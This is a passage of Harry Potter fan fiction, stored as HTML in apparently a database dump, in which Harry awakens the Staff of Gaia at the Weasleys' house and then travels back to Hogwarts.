to face him. He looked him over for a minute, before saying, quite quietly,</p>\n<p> &#8220;God Harry, if I&#8217;d have known ... if I&#8217;d had any idea just how ... if I ever see your Uncle again, I&#8217;ll ...&#8221; he sighed &#8220;You don&#8217;t look so good.&#8221;</p>\n<p> &#8220;Hey. Your not exactly going to win Witches Weekly award for the best looking man of the year, yourself!&#8221;</p>\n<p> Then Sirius did something he didn&#8217;t do that often. He laughed. </p>\n<p> &#8220;No, I suppose your right.&#8221;</p>\n<p> The others finished their conversation. Mr Weasley and Bill still looked a little uneasy, battling against fourteen years of disinformation. Harry supposed it was a bit like asking them to believe that Voldermort was really the Easter Bunny. Harry snickered as the mental image of Voldermort with large Bunny ears, and buck teeth, came hopping into his head.</p>\n<p> &#8220;What&#8217;s so funny?&#8221; Sirius asked him softly.</p>\n<p> &#8220;Nothing, doesn&#8217;t matter.&#8221;</p>\n<p> Sirius stood up, and went to shake Mr Weasley&#8217;s hand.</p>\n<p> &#8220;I hear you&#8217;ve been taking good care of my godson.&#8221;</p>\n<p> &#8220;Well he&#8217;s been like a part of the family, so we do our best.&#8221;</p>\n<p> &#8220;And I thank you for that.&#8221;</p>\n<p> At that moment the air was cleared and no longer hostile, people shuffled back to get a seat. Mrs Weasley started magicking up more food, mixing breakfast and lunch foods, since it was now about one in the afternoon. Harry ate so much, he felt like he might explode. Every time he managed to clear his plate, Mrs Weasley would put another in front of him, and he would realise that everyone was staring at him, so he tucked in again, clearly he was supposed to eat until he put a few stone on. When everyone else had finished eating, a happy chatter broke out, mostly about Quadditch. Though Hermione and Ginny were comparing notes on a muggle author called Janet Evanovich. Apparently Ginny was worried that the books were an accurate portrayal of muggle life. </p>\n<p> After his fourth helping, Harry could eat no more, and tried to politely refuse the next plate full of food from Mrs Weasley. When that didn&#8217;t work, Harry had to become slightly more forceful in his tone, making him worry that he&#8217;d hurt her feelings. But if he had, she recovered quickly, and offered him a coffee, which he quickly accepted. And was pleased to see a smile on her face once again.</p>\n<p> The happy chatter, abruptly fell to silence however, when Harry turned to Dumbledore and asked what the Staff of Gaia was.</p>\n<p> &#8220;It&#8217;s just that ... I heard someone mention it as I came down the stairs.&#8221;</p>\n<p> Not for the first time since he arrived at the Weasley&#8217;s, Dumbledore sighed. Taking out his wand, he muttered &#8216;Accio&#8217; and turned to Harry.</p>\n<p> &#8220;What I&#8217;m about to have you do will seem unusual, but don&#8217;t be afraid, all will become clear in time.&#8221;</p>\n<p> And, with perfect timing, the Staff shot into the room, and lowered into a vertical position above the floor in the middle of the room, as though being held up by invisible string. </p>\n<p> Harry stared in shock.</p>\n<p> &#8220;I know that!&#8221; he exclaimed.</p>\n<p> &#8220;I saw it in a dream, but the crystal was glowing.&#8221;</p>\n<p> Dumbledore smiled at him, while the others just stared.</p>\n<p> &#8220;I&#8217;m sure it did.&#8221;</p>\n<p> &#8220;You remembered it in a dream?&#8221; Hermione enquired.</p>\n<p> &#8220;Yeah. I was a baby, I remember crying, my ... my mum came into the room and put the light on. When she picked me up, I could see the Staff over her shoulder. I reached out my hand and the crystal started to glow.&#8221;</p>\n<p> There was a gasp from Ginny, while the twins exchanged knowing looks.</p>\n<p> &#8220;What is it? What&#8217;s going on?&#8221;</p>\n<p> &#8220;Perhaps Harry, it would be best if I showed you.&#8221; Dumbledore motioned for Harry to come forward. So he did. A little tired of the guessing games he&#8217;d been playing since his first year at Hogwarts though. He stood a little away from Dumbledore and the Staff, aware that everyone&#8217;s eyes rested solely on him. It was like the first day of term, of a new year, and being introduced to all the new students.</p>\n<p> </p>\n<p>&#8220;Now Harry, if you would pick up the Staff please.&#8221;</p>\n<p> </p>\n<p> Harry looked at the Staff, for no reason at all, he felt that to do what Dumbledore asked, would be to do something he could never go back on. But he didn&#8217;t think that Dumbledore would ever ask him to do any thing dangerous, so tentatively, he reached a hand out. The moment he did so, he suddenly felt as though he were being pulled toward it, as though it were a magnet, and Harry were a pin. The world began to fall away, he felt like he was being pulled, not only to the Staff, but higher. As his hand got closer still, heat shot through his palm, sparks of blue flew between the Staff and his hand, like the Staff was waking from a long-dormant sleep, and then, the moment his skin brushed the surface of the oak Staff,</p>\n<p> CRACK!!</p>\n<p> The sound of lightening striking, sounded heavily in his ears, and he was blinded by a hot, bright, white light, that was emanating from the crystal. There was a distant sound of someone screaming, but Harry could barely hear it above the roar of the wind that rushed in his ears, and he was being pulled, higher and higher still. There was something out there, something in place he was being pulled to. Warmth and knowing, he could feel it. It began to fill his veins, his very blood, and he felt like he were burning, and the fire that lit him was magic. Magic in its purest form, whole and complete. He felt like a great gap in his life were suddenly being filled. No longer was he being blinded by white light, but he could see beams and funnels of shimmering lights, cutting and intersecting one another. Blues and pinks, yellows and greens, and mists of glowing amber/yellow light filled every space, the coloured ones travelling in lines. It was like a great map was being laid out inside his mind. Knowledge was being pushed, pulled and squeezed into every corner of his brain. Memories, long forgotten, and more recent, were being poured into him, laughter, smiling faces, Sirius, Lupin, his parents and a dozen others. The memory of being cradled by his father, high up in the air on a broomstick. A scream, then green light, and all was quiet for a little while. Then terrible pain.</p>\n<p> Darkness, the cupboard, a belt, and laughter, low and cruel.</p>\n<p> Then more laughter, only this time, it was soft and feminine, and happy. Hermione.</p>\n<p> There was another great </p>\n<p> CRACK!!</p>\n<p> followed by a </p>\n<p> SNAP!!</p>\n<p> The colours and the lines, they were all flowing through him now. Into him, not just around him like they were supposed to. Heat surged into the palm of his free hand, it had to get out, the heat was almost unbearable, and Harry let it.        </p>\n<p> Then he felt nauseous, drained, the world pulling him back down, the colours and lights, memories and the knowledge were still up there, high, waiting for him to return. But now he was being pulled back down, being pulled back, because he thought numbly, as the world began to fade to black,  he was about to lose consciousness. </p>\n\n<p align="CENTER">~o0o~  </p>\n<p align="CENTER"></p>\n<p> As Harry and the Staff in his hand fell to the floor, every person in the room felt as though a great power had just brushed passed them. Looking open-mouthed, at the unconscious form of a fifteen year old boy, with rumpled black hair, and round glasses, he looked so terribly frail, like he might snap at any moment. It was hard to believe that he could have just done what he did, except the evidence was all around them.</p>\n<p> Madam Pomfrey was the first to take the initiative, that even Dumbledore had forgotten, and checked Harry&#8217;s pulse.</p>\n<p> &#8220;He&#8217;s weak. It was too soon Albus. I know he&#8217;s a powerful wizard, but it was still too soon. He needs more time.&#8221;</p>\n<p> &#8220;I know Poppy, I&#8217;m sorry, but he had to know.&#8221;</p>\n<p> Then Dumbledore magicked a stretcher for Harry to be out on. Then took a large piece of cloth, and wrapped it around his hand, and pulled the still hot, smoking Staff from it&#8217;s place beside Harry.</p>\n<p> For a few minutes all anyone could think to do was find a seat. Dumbledore and Poppy left the room with Harry and the Staff.</p>\n<p> The Weasleys, Hermione and Sirius looked around, noting the numerous changes in their environment, the most notable, was the fact that the light coming through the kitchen windows, was no longer a dull grey (a usual in British summertime.), but bright and warm, because the sun had come out, and it was no longer raining.</p>\n<p> Every break, every line, every imperfection of the Weasley house was no longer present. Everything had a newly bought quality about it, including the way it gleamed as the light fell on it.</p>\n<p> Fruit in the bowl on the kitchen table was once again fresh and plump. Even the clothes they wore were crisp and neat. Sirius had, had patches and frayed edges on his robes, and though the patches remained, the frayed edges had been neatened. And Sirius himself, looked like he&#8217;d finally had a decent shower.</p>\n<p> Hermione kept touching her hair, now silky smooth, with waves, and a few ringlets falling about her face. </p>\n<p> Bill was the first to speak, mentioning that an olds scar, a reminder of a less than co-operative Gringotts customer, had disappeared. This led to people checking for various scars of their own. Mr Weasley was the first to announce one of his own had disappeared, not only that, but a slight arthritis in his lower back was now gone.</p>\n<p> The flowers in the vase looked as though they had been freshly picked, and were not the week and half old that they really were.</p>\n<p> &#8220;Even I never realised. I&#8217;m his Godfather, and even I never realised just how powerful he is.&#8221;</p>\n<p> &#8220;That was ...&#8221; Fred started.</p>\n<p> &#8220;... really cool.&#8221; George finished.</p>\n<p> As everyone began talking, reflecting upon what Harry had done, and discovered that all of them had felt the same presence of a great power, Hermione sat there, numb.</p>\n<p> She replayed the scene in her mind. Harry had begun to reach out, blue sparks shooting between him and the Staff. When he had touched it, there was a loud sound, like a lightening strike. And then  the crystal atop the Staff, seemed to almost explode with a brilliant white light, tendrils and wisps of light and energy swirled around the crystal, Harry&#8217;s eyes glazed over, like he wasn&#8217;t really there anymore. Ginny had screamed, and the air in the room began to move violently, and tornado-like around Harry.</p>\n<p> Then his free-hand had shot out, the palm glowing as hot and as bright as the crystal. Harry blinked, as if aware of something else, and then the light had flown out of his hand, in a long beam, that expanded to fill the room, getting brighter and hotter still, until they were almost blinded by it. As the light began to subside, they noticed the changes almost immediately.</p>\n<p> But from what Hermione could hear the others describing, no-one else seemed to be focusing on the memories of Harry&#8217;s that had been flashed into her mind. Terrible, awful things, that nobody should see. Darkness, pain, but worst of all, was how Harry had been made to feel his whole life. Unwanted, unloved, worthless and without any kind of value, and then to suddenly find out, that you are something valuable indeed. But because of this, you need to be kept under lock and key, safely tucked away, because a psychotic, all-powerful wizard wants you dead.</p>\n<p> Then a possibility occurred to Hermione.</p>\n<p> &#8220;How do we tell Harry that we&#8217;ve seen his memories?&#8221;</p>\n<p> Seven blank faces looked at her.</p>\n<p> &#8220;What do you mean, seen his memories?&#8221; Sirius said, moving to sit more closely.</p>\n<p> &#8220;His memories, you know, the part during all of ... that, when his memories got inside your head.&#8221;</p>\n<p> Sirius looked around at the others, and then back to Hermione.</p>\n<p> &#8220;No Hermione, we don&#8217;t know. Are you saying that you saw some of his memories?&#8221;</p>\n<p> &#8220;Well yes. I thought that we all had.&#8221;</p>\n<p> &#8220;What did you see?&#8221; George interrupted.</p>\n<p> &#8220;You didn&#8217;t see him fight You-Know-Who? did you?&#8221; Fred added.</p>\n<p> &#8220;Fred and George, don&#8217;t you dare ask such a thing. It&#8217;s bad enough that, that poor boy has to go through things like that, he doesn&#8217;t need you two asking about it, just to full fill your own morbid fascination&#8220; Mrs Weasley scolded. The twins looked downcast.</p>\n<p> But Sirius took her hand in his, and said.</p>\n<p> &#8220;Can you tell me what you saw, Hermione? Harry might be my Godson, but there are things that ... things that, I think he doesn&#8217;t tell even me. Please Hermione, what did you see?&#8221;</p>\n\n<p align="CENTER">~o0o~</p>\n<p align="CENTER"></p>\n<p> The rest of the summer holidays past by in a blur for Harry. Dumbledore had not allowed him anywhere near the Staff of Gaia again, and had asked him to keep the actual experience to himself for now. He had also promised, that the next year at school, he would be getting extra help, to work with the Staff, and build up his own strength as well.</p>\n<p> This was something Mrs Weasley contributed to, by handing Harry vast portions at every sitting. And the minute he had some sign of strength, he was roped into Quadditch matches with the Weasley men. Hermione showed she cared by making him study whenever she bumped into him. And if he didn&#8217;t know better, he could have sworn that she was blushing when she looked at him.</p>\n<p> Ginny seemed even more star struck than usual around him. Though for the first time, Harry mused, there actually seemed like there was a good reason for Ginny&#8217;s behaviour.</p>\n<p> The day before Harry and the others were due to return to Hogwarts, Harry dared to look into the bathroom mirror for the first time since his arrival. He was still a little to skinny for his age, though he knew that he must have put on at  least a  stone since his arrival, thanks to Mrs Weasley&#8217;s good cooking. His hair was still an unruly mess, and as usual, it never really grew beyond a certain length, past his scar, but above his eyes. And he was lucky, facially, not to have suffered a broken nose or jaw, instead he had only his lightening shaped scar, and a few fading bruises. But his eyes seemed to reflect a certain change in him.</p>\n<p> To Harry they had acquired the look of someone who had been forced to grow up fast. Hermione had once started to say something about his eyes reflecting a certain aura of power, before she had blushed and left the room quickly.</p>\n<p> One significant event though, was that, after being unconscious for about 37 hours after activating the  Staff, when he&#8217;d woken up, Harry was told, by Sirius, that he&#8217;d made a few changes, during his venting of magic. Which was a surprise to him, as he&#8217;d barely given it a thought. But these changes had reverted back to their original state after about 26 hours, all except one. Hermione&#8217;s hair.</p>\n<p> Harry was at a loss to explain it, until Sirius had taken him gently into another room, and told him that Hermione had experienced some of Harry&#8217;s memories. Once again, Harry was at a loss to explain it. Until Sirius, smiling, had said that  maybe Harry had found his Lilly.</p>\n<p> Though he had been quick to dismiss this theory, to the still smiling Sirius. Harry had found himself thinking about it. He couldn&#8217;t feel that way about her, especially as he was pretty sure that Ron had a crush on her. And Sirius calling Hermione, Harry&#8217;s Lilly, implied that the kind of feelings that had been between  Harry&#8217;s parents. Which was most definitely love. And well, Harry was fifteen, Love, marriage and all that stuff, wasn&#8217;t something he&#8217;d given a great deal of thought about. Staying alive to reach his next birthday was usually his only goal, and that was proving difficult enough.</p>\n<p> On the other hand, one thing Harry knew he felt about Hermione was embarrassment. She had after all, experienced some of his memories. Sirius had promised that she had described them only to him, but still, knowing that she was carrying a part of him in her head, and he didn&#8217;t know which parts, he found somewhat unsettling. If anything he thought that he might be blushing around her now. And he was quite sure that Ron would start to notice soon. And after the last six months Harry had, had, he didn&#8217;t want to go losing Ron&#8217;s friendship again. So Harry had made up his mind to ignore anything other than friendly feelings for Hermione. And see how things played out between her and Ron.</p>\n<p> With any luck, he&#8217;d see Cho Chang, the minute he got through Hogwarts gate, and wouldn&#8217;t look twice at Hermione. Even with the absence of buck teeth, the now glossy hair, and the fact she was becoming a young woman.</p>\n<p> Harry took another look in the mirror, faintly disgusted at the number of scars his body seemed to have acquired, luckily most of them were on his back, a part of his body that Harry didn&#8217;t think was likely to get shown very often. Unless Hogwarts had added swimming lessons to the timetable. Maybe he should ask Hermione, she&#8217;d probably know.</p>\n<p> He finished up in the bathroom, and returned to the living room, the whole house was buzzing, as people were readying to go to school. Harry had taken the precaution of packing yesterday in a spare hour, so he was avoiding the usual rush. Mrs Weasley then held him up as an example of how to do things.</p>\n<p> Two things caught his attention as he entered the living room. One was Hermione, sitting in a patched and frayed old chair, reading &#8216;Hogwart&#8217;s - A history&#8217; for what must have been at least the eighth time. And the other was a long wooden box, it looked like a muggle briefcase, except for the fact that it was about 6ft long, wooden and had magical locks on it.</p>\n<p> He still felt a strange buzzing whenever he was near it. He longed to hold the Staff in his hand once again. But he&#8217;d been told by Dumbledore and Madam Pofrey, that under no circumstances was he to touch the Staff until he got to Hogwarts. And even then, only under strict supervision. As they reminded him, he was to weak to use it, without making himself unconscious more permanantly. </p>\n<p> Hermione glanced up at him, and as usual they both blushed.</p>\n<p> &#8220;Packed?&#8221; he enquired. She nodded. Harry picked up the nearest book, sat down, opened it, and freinged an  interest in it&#8217;s contents.</p>\n<p> It was only five minutes later, that the sound of someone trying to stifle their laughter, did he dare to look over the rim of the book.</p>\n<p> Hermione quickly put &#8216;Hogwart&#8217;s - A history&#8217; in front of her face. But the book shook, as she tried, quite unsucessfully, to stop laughing.</p>\n<p> &#8220;What?&#8221;</p>\n<p> She lowered her book, and smirked at him.</p>\n<p> &#8220;Good book?&#8221;</p>\n<p> &#8220;Yeah it&#8217;s very interesting.&#8221;</p>\n<p> Hermione exploded with laughter.</p>\n<p>&#8220;What?&#8221;</p>\n<p> Harry finally looked at the front cover of his book.</p>\n<p> &#8220;Madam De La Fads&#8217; Guide to the perfect hemline &amp; 101 ways to create a seamless cloak.&#8221;</p>\n<p> Harry burst into laughter himself.</p>\n<p> &#8220;Well I was thinking of becoming a dress maker.&#8221;</p>\n<p> And they laughed again, strain and embarressment of the last few weeks forgotten. Just as well really, Harry would muse later that year. Because things were about to get a whole lot more complicated.</p>\n\n<p align="CENTER">~o0o~</p>\n<p>     </p>\n<p> </p>\n<p> </p>\n<p>   </p>\n<p>  </p>\n\n<p>                 </p>\n<p>                    </p>\n\n'),
	(6, 2, ' <br>\n\n\n<p>\n\n</p><p>\n\n<i>Portkey Staff (gal-texter) Note May 2009: We\'ve re-uploaded this as readers have stumbled on this fic as recent as March 2009. </i><i>Unfortunately, </i><i>Chocchip seems to have abandoned this story and the fandom. </i><i></i><i>\n\n</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Choccip\'s original A/N</i><i>:</i><i>\n\n</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Wow, I managed it!!!! Finally, I\'ve finished writing the second chapter! Of nine. God kill me.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>I know that this is quite a bit longer than the first, and that wasn\'t intended, and so I hope that it turns out to be a worthwhile read.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>I remember someone asking how to pronounce Gaia, so here it is `guy-ah\'. That\'s about it. Though there\'ll be a few things in the next lot of chapters that you might wanna know how to pronounce too!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>I apologise for the wait, but as you can probably see from the length, and my stubbornness not to write small chapters, it was always going to take a while. With any luck, the next chapter will be out quicker, though not in time for you all to be hooked on reading `The Order of the Phoenix\' when it comes out. I might have to take a week off for that myself.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Oh and it is, and always shall be a Harry/Hermione fic. Just thought I might clear that up.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Thanks Nappa- the Yoda, who came along at the right time, and has been giving me the kick up the **** I needed to continue writing.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Please review if you can still stare at a computer screen when you finish the fic. *_*</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<p>\n\n</p><p> Harry Potter and the Power of Gaia </p>\n\n<p>\n\n</p><p> For the most part the train journey to Hogwarts was as uneventful as any other year. Malfoy had yet to grace their compartment with his presence, an annual tradition now. </p>\n\n<p>\n\n</p><p> Perhaps it was because, Ron, Hermione, Ginny and the twins, were being so fiercely protective of him. Practically surrounding him at the station, like a cocoon. Harry thought that so far, he\'d only seen the heads of the students, and hadn\'t said a word to any of them. </p>\n\n<p>\n\n</p><p> But he had been able to hear what some of them were saying, that was, unfortunately, how he came to find out, that it was well known in the wizarding world, thanks to an article in the \'Daily Prophet\', that Uncle Vernon was being put on trial. Though at the moment, they could only guess the reason, and most couldn\'t quite guess the awful nature of the truth, instead the newspaper article had led to many rumours. Including one, that Harry really wish he hadn\'t heard, that he had gotten angry, had done something terrible, and as usual, because of who Harry was, the ministry was going to cover it up, by putting his Uncle on trial. Sometimes, being \'the boy who lived\' was more of a curse than any other. </p>\n\n<p>\n\n</p><p> He had found out, from listening to the other students, that Vernon\'s trial was set for the end of November. It seemed that the Wizard\'s High Court, were in no hurry to release his Uncle from a high security prison, or to make him human again for that matter. </p>\n\n<p>\n\n</p><p> It was the Slytherin\'s he could hear discussing these rumours, but the rest of the student population seemed genuinely worried about him. There had been a constant stream of student\'s to the compartment door, asking to see him, only to be blocked by the twin\'s. They wouldn\'t even allow their close friend Lee Jordan, in, even when his pet spider had run inside. It was only when Harry himself stepped in, scooped up the spider, and told them to let him in, that he was allowed. Lee had done so, a big smile on his face, he\'d blinked for a minute when he saw Harry, but stayed a while, laughing and joking with the twin\'s. Then they\'d made some \'hushed\' comments to each other, the twin\'s basically asking that Lee sees to it, that nobody else comes knocking on the compartment door. He agreed, gave Harry a cheery wave, and then left. </p>\n\n<p>\n\n</p><p> There was another reason that Malfoy hadn\'t turned up yet. And that was sitting right next to Harry. </p>\n\n<p>\n\n</p><p> Alastor Moody. </p>\n\n<p>\n\n</p><p> More importantly, the \'real\' Alastor Moody. </p>\n\n<p>\n\n</p><p> Apparently, in his position as one of the greatest Auror\'s of wizard history, he had been deemed worthy enough to guard the Staff of Gaia, and presumably keep an eye, and a magical eye on Harry himself. Moody had also confirmed, that he was to take the position of Defence of the Dark Arts teacher this year. Which had surprised Harry greatly, considering, Moody had spent the greater part of a year locked in his own trunk, last time he\'d agreed. And then Moody had told them, that he would only be a Co-teacher that year, and would say no more on the subject, not breathing a word about who the other teacher was. Harry could only hope it wouldn\'t be Snape. </p>\n\n<p>\n\n</p><p> At one point, Moody had to go to the bathroom, but before he left, he turned to the case holding the Staff, which was propped in one corner of the compartment, no one could see around him. He muttered something, and when he turned back, and left, those in the compartment were amazed, to see the case had disappeared. While the others immediately began to discuss where it might be, Hermione suggesting some form of object-based apparation; Harry closed his eyes and reached out with his feelings. A residual effect of his experience with the staff, meant that he could now \'feel\' it\'s presence, like the ghost feeling of a missing limb, which was the closest in words, Harry could come to describe the strangely growing connection. So Harry knew, as the others did not, that the staff was still there. He could feel a low humming around his stomach. It wasn\'t like nerves, nor like the feelings he got in proximity to Cho, or these day\'s Hermione. More like the gentle hum you feel when your next a source of electricity that\'s quite powerful, like overhead pylons. </p>\n\n<p>\n\n</p><p> He became faintly aware, as he reached out his hand, that the chatter in the compartment had come to a halt, the feelings in his stomach had intensified, ever so slightly. He opened his eyes, and looked before his out stretched hand. There, in the corner, where the staff had been, there was a narrow, but long shaft of light, almost vertical to the floor, slowly, the light spread, wrapping itself around unseen corners, until the light was being emitted from a shape, the same size as the case holding the staff. You could still see through the middle, to the other side, as though there was still nothing there. </p>\n\n<p>\n\n</p><p> Then the sound of a familiar, low drawl, distracted Harry, the feelings in his stomach lurched, not that he could blame them. The light disappeared. </p>\n\n<p>\n\n</p><p> The compartment door slid open, and Draco Malfoy, flanked by his cronies, Crabbe and Goyle, entered. As usual, there was a look of smug superiority on his face. Something that just gave you the urge to hit him, or make him cry. </p>\n\n<p>\n\n</p><p> &quot;So Potty, I hear you had to be rescued again. And from Muggles at that!&quot; </p>\n\n<p>\n\n</p><p> &quot;Push off Draco.&quot; Ron muttered, automatically moving out of his seat, to stand in front of Harry, Hermione joined him. The twins and Ginny just glared. </p>\n\n<p>\n\n</p><p> &quot;What\'s this Potter? You need the backward pauper family and a filthy Mudblood to protect you?&quot; </p>\n\n<p>\n\n</p><p> Ron roared in anger, and would have landed a very good punch on Malfoy\'s delicate looking nose, if Hermione hadn\'t have pulled his arm back. Then Hermione said, clearly with more confidence than she felt. </p>\n\n<p>\n\n</p><p> &quot;Harry doesn\'t need protecting, and he didn\'t have to be rescued from any Muggles.&quot; </p>\n\n<p>\n\n</p><p> Harry would have appreciated the lie more, if it hadn\'t so obviously been a lie. </p>\n\n<p>\n\n</p><p> Draco peered around both of them, and looked Harry up and down, a nasty smile played at his lips. </p>\n\n<p>\n\n</p><p> &quot;Really? And I suppose the bruises on his face, and the cuts on his arms, come from De-Gnoming the garden?&quot; </p>\n\n<p>\n\n</p><p> He smirked, and made a quick exit, the Goons a bit slower, smirked afterwards, and then realising their leader had gone, made their version of a quick exit. Which involved both of them getting momentarily stuck in the doorway, as they tried to fit through at the same time. </p>\n\n<p>\n\n</p><p> Harry, meanwhile, had put a hand up to his face, and touched it lightly. It still ached. He was a little surprised. Everyone was looking at him, as if they were seeing him, really seeing the way he looked for the first time. Hermione moved towards him, reached up and took his hand with her own. Aware of people looking at him, shame immediately filled him. And he looked at his feet, unable to look anyone in the eye. Why hadn\'t he fought back? Why did he now feel, that not only had he let himself down, but other people as well? </p>\n\n<p>\n\n</p><p> And then the answer came to him. He was scared, not so much of Uncle Vernon, and Dudley, but of losing the one thing that had ever happened, that made him feel good about himself. Finding out that he was a wizard. </p>\n\n<p>\n\n</p><p> Uncle Vernon had been right to suspect, that Harry wouldn\'t dare practice magic in the holidays again. Because Harry wouldn\'t risk the one thing, that had brought him, not only a whole new life, away from the Dursley\'s, but friendship, parental figures in people like his Godfather, and a family, even if the Weasley\'s weren\'t related to him by blood. </p>\n\n<p>\n\n</p><p> Hermione was still holding his hand when he dared to look up. </p>\n\n<p>\n\n</p><p> She smiled at him. </p>\n\n<p>\n\n</p><p> &quot;Don\'t listen to him Harry. Malfoy\'s just a stuck up pureblood.&quot; </p>\n\n<p>\n\n</p><p> &quot;Hey!&quot; Ron muttered a moment later. He\'d forgotten briefly that he too came from a pureblood family, though a much nicer one. </p>\n\n<p>\n\n</p><p> &quot;Sorry Ron.&quot; Hermione turned to Harry again. </p>\n\n<p>\n\n</p><p> &quot;Harry, don\'t listen to him, if Malfoy had been through even half of what you have, he\'d still be crying like a baby.&quot; </p>\n\n<p>\n\n</p><p> In a voice so low that only Hermione could hear it, Harry said, </p>\n\n<p>\n\n</p><p> &quot;Sometimes I feel like crying.&quot; </p>\n\n<p>\n\n</p><p> Hermione stopped smiling, and circling her arms around him, pulled him into a deep hug. </p>\n\n<p>\n\n</p><p> Moody returned a short while later, after everyone had settled back down again, to a game of exploding snap, and said, much to Harry\'s embarrassment, </p>\n\n<p>\n\n</p><p> &quot;No more light shows please Mr Potter, we\'re having a hard enough time keeping the Staff a secret as it is.&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &quot;Well, is everything prepared?&quot; </p>\n\n<p>\n\n</p><p> &quot;Yes my Lord, all is in motion.&quot; </p>\n\n<p>\n\n</p><p> &quot;It has arrived?&quot; </p>\n\n<p>\n\n</p><p> &quot;Shortly, my Lord.&quot; </p>\n\n<p>\n\n</p><p> &quot;And the boy?&quot; </p>\n\n<p>\n\n</p><p> &quot;He too, my Lord.&quot; </p>\n\n<p>\n\n</p><p> &quot;Hmm. It is fortunate that his Uncle did not succeed in killing him. That pleasure now falls to me.&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> It was a little unfortunate that the bathroom was at the opposite end of the carriage. Going there to get changed, meant passing another seven compartments, four to each side of a carriage, and passing more than a few students. Some of whom would smile nervously, or stare at a space somewhere over Harry\'s head, and then say something stupid like, </p>\n\n<p>\n\n</p><p> &quot;Hey Harry, how you bin?&quot; (A/N That\'s supposed to be the accent there, I can spell. Except for Quidditch apparently.) </p>\n\n<p>\n\n</p><p> And now, what was once the inevitable eye flick to the scar on his forehead, was a flick from that faraway spot, to look at the whole of Harry\'s face. </p>\n\n<p>\n\n</p><p> And learning from the earlier encounter with Draco, Harry made sure that he kept the sleeves of his robes, rolled down, despite the heat of the train. </p>\n\n<p>\n\n</p><p> On reflection, it probably hadn\'t been a good idea to wear a T-shirt in the first place. He remembered getting some funny looks from the muggles back at London Station. Harry had become used to having assorted bruises now. And had to remember that just because it didn\'t phase him anymore, didn\'t mean that it wouldn\'t phase other people. </p>\n\n<p>\n\n</p><p> He was also aware that he would have to get used to people talking about him even more than normal. His appearance, and the fact that his Uncle was to be put on trial, would assure his place as the main topic of idle gossip, for long after the first years interest normally died out. </p>\n\n<p>\n\n</p><p> Having made his way back to his own compartment, along with Ron, a familiar whistle sounded, indicating that they were only five minutes from Hogwarts. </p>\n\n<p>\n\n</p><p> *Great* thought Harry. The past few weeks with the Weasleys, he\'d been able to all but forget what had happened to him at the Dursley\'s. Though they had shown their concern for him, they had known when to back off, to a point were they looked afraid to actually ask him how he was. He\'d been able to cope around them, but the Weasley\'s were like a family. Now he would be thrown back into a lions den, the school, were the truth would get mixed with the rumours, were people would be whispering behind his back, or making snide comments. Sometimes, Harry could really wish that the other Gryffindor students were the only ones there. The rest of the student population, were either his best friend one moment, or his chief prosecutors the next. The whole of Hogwarts would be staring at him. </p>\n\n<p>\n\n</p><p> Upon entering the compartment, Harry\'s nerves were immediately soothed, Hermione smiled at him. He watched, after sitting next to her, as Fred and George began plotting their escapades for their final year, it sounded good, or bad, depending on whether you would be on the receiving end of their pranks. And then Harry and the others laughed, as they then proceeded to pretend to get teared up about it being their last trip to Hogwarts. One thing Harry was sure of, he was definitely going to keep the Staff of Gaia out of their reach. </p>\n\n<p>\n\n</p><p> But it was, despite all of his concerns, that Harry walked with a spring in his step as he got onto the platform at Hogwart\'s. It felt good to be back, there was a magic in the air, despite the rapidly darkening weather. Harry and those from his compartment, were at the back of the large group of students, that were moving towards the horseless carriages, when he heard, </p>\n\n<p>\n\n</p><p> &quot;Firs\' yers o\'er ere! Firs yers this way!&quot; </p>\n\n<p>\n\n</p><p> Harry caught sight of a familiar mass of long, dark brown hair, and a massive form casting shadow over some tiny looking first years. </p>\n\n<p>\n\n</p><p> Hagrid, keeper of keys and grounds at Hogwarts, a half-giant, and one of Harry\'s closest friends, turned to motion more first year students his way. Harry managed to catch his eye and waved. He wasn\'t expecting Hagrid to start ploughing his way through the throng of students, to the back of the crowd, to see him. He waded through the crowd, shot passed Ron and Hermione, and enveloped Harry in a crushing bear hug. Harry\'s legs were buckling beneath him, and air was being forced out of his lungs. He could feel Hagrid\'s body shaking lightly, and Harry prayed that he wasn\'t about to start crying, that would have been a sure fire way to get the other students attention. </p>\n\n<p>\n\n</p><p> Eventually, Hagrid pulled back, and Harry pulled in a long draught of air, re-inflating his crushed lungs, and straightening his rumpled robes. </p>\n\n<p>\n\n</p><p> &quot;I was so worried about yer \'Arry. But I couldn\'t get to see yer. I\'m real sorry.&quot; </p>\n\n<p>\n\n</p><p> &quot;That\'s alright Hagrid.&quot; </p>\n\n<p>\n\n</p><p> In truth, Harry was disappointed that Hagrid hadn\'t visited him, but he assumed that there had been a good reason, a very good reason, other than Hagrid was to big to fit through the Weasley\'s fireplace. </p>\n\n<p>\n\n</p><p> &quot;You\'d better get back to them.&quot; Harry said, nodding to the terrified first years, huddled in a small group at the far end of the platform. </p>\n\n<p>\n\n</p><p> &quot;Aye, yer probably right, wouldn\'t want Peeves getting hold of \'em before the\' even started.&quot; </p>\n\n<p>\n\n</p><p> &quot;Hello Hagrid.&quot; Ron and Hermione chorused, as Hagrid walked towards them. </p>\n\n<p>\n\n</p><p> &quot;Hullo you two. How \'bout we meet for tea later? \'bout 8.&quot; </p>\n\n<p>\n\n</p><p> &quot;Great!&quot; </p>\n\n<p>\n\n</p><p> Hagrid made his way back across the platform. Some of the first years looked more afraid of him than Harry had been when he\'d faced Voldemort for the first time. It was like they were expecting Hagrid to pick them up, three at a time under each arm, haul them back to a cave somewhere, cover them in salt and tomato sauce, and then eat them. </p>\n\n<p>\n\n</p><p> A familiar buzzing told Harry that the Staff of Gaia was now a few feet ahead of him in the crowd, and sure enough, he could see Moody\'s hooded head bobbing around amongst the students. That buzzing feeling was now as comforting as finally being back at Hogwarts. He smiled at Ron and Hermione, who looked as happy as he. </p>\n\n<p>\n\n</p><p> The students moved slowly forward, no one in any real hurry, 